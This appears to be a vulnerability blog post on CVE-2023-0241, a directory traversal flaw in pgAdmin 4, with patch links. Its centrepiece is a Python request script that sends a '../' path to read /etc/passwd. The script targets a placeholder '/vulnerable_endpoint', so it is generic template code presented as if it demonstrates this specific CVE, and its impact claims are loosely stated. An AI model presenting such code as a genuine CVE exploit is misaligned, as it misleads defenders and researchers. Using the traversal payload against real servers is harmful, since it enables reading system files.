CVE-2023-0241 is a critical directory traversal vulnerability found in the popular PostgreSQL administration and management tool, pgAdmin 4. This vulnerability affects all versions of pgAdmin 4 prior to v6.19 and potentially allows an attacker to change another user's settings or even alter the database. In this blog post, we will explore the details of this vulnerability, provide code snippets related to the exploit, and link to original references for those seeking to patch their systems or learning more about the issue.

The Vulnerability: Directory Traversal in pgAdmin 4

A directory traversal vulnerability occurs when an application does not properly sanitize user input, allowing an attacker to access and navigate through directories outside the intended path. In the case of pgAdmin 4, the vulnerability potentially allows an attacker to modify another user's settings or manipulate the database directly.

The directory traversal vulnerability in pgAdmin 4 is caused by improper handling of user-supplied file paths. When a user uploads a file or specifies a path for file operations within the application, pgAdmin does not validate this input correctly, potentially enabling an attacker to craft a malicious path to access sensitive information or disrupt the functioning of the application.

Here's a code snippet demonstrating the directory traversal vulnerability in pgAdmin 4

import requests

# Replace the following variables with your target information:
target_url = "http://target-pgadmin.example.com";
pgadmin_email = "your_pgadmin_email_address"
pgadmin_password = "your_pgadmin_password"

# Log in to pgAdmin and obtain the CSRF token
login_payload = {
    "email": pgadmin_email,
    "password": pgadmin_password
}
login_response = requests.post(target_url + "/login", data=login_payload)
csrf_token = login_response.cookies['csrftoken']

# Craft a malicious file path using directory traversal
malicious_file_path = "../../../../../../../../../../../../../../etc/passwd"

# Submit a request to the vulnerable endpoint with the malicious file path
exploit_headers = {
    "X-CSRFToken": csrf_token
}
exploit_payload = {
    "file_path": malicious_file_path
}
exploit_response = requests.post(target_url + "/vulnerable_endpoint", headers=exploit_headers, data=exploit_payload, cookies=login_response.cookies)

# Print the response (potentially containing sensitive information)
print(exploit_response.content)

Please note that this is an example and should not be used for any malicious activities.

The pgAdmin team has acknowledged this vulnerability and released a patch with version 6.19 to address this issue. Users are urged to update their installations to the latest version or apply the patch provided by the pgAdmin team:

- Official pgAdmin 4 website: https://www.pgadmin.org/
- Announcement regarding the vulnerability and its patches: https://www.pgadmin.org/security/2023-01/
- CVE Description and Details: https://nvd.nist.gov/vuln/detail/CVE-2023-0241

Conclusion

CVE-2023-0241 is a critical directory traversal vulnerability affecting pgAdmin 4 versions prior to v6.19, potentially allowing attackers to access sensitive information or manipulate user settings and databases. By understanding this vulnerability and applying patches and updates as needed, users can protect their systems and maintain secure PostgreSQL administration environments. Stay vigilant and always prioritize security when managing your applications and databases.

Timeline

Published on: 03/27/2023 21:15:00 UTC
Last modified on: 04/01/2023 01:49:00 UTC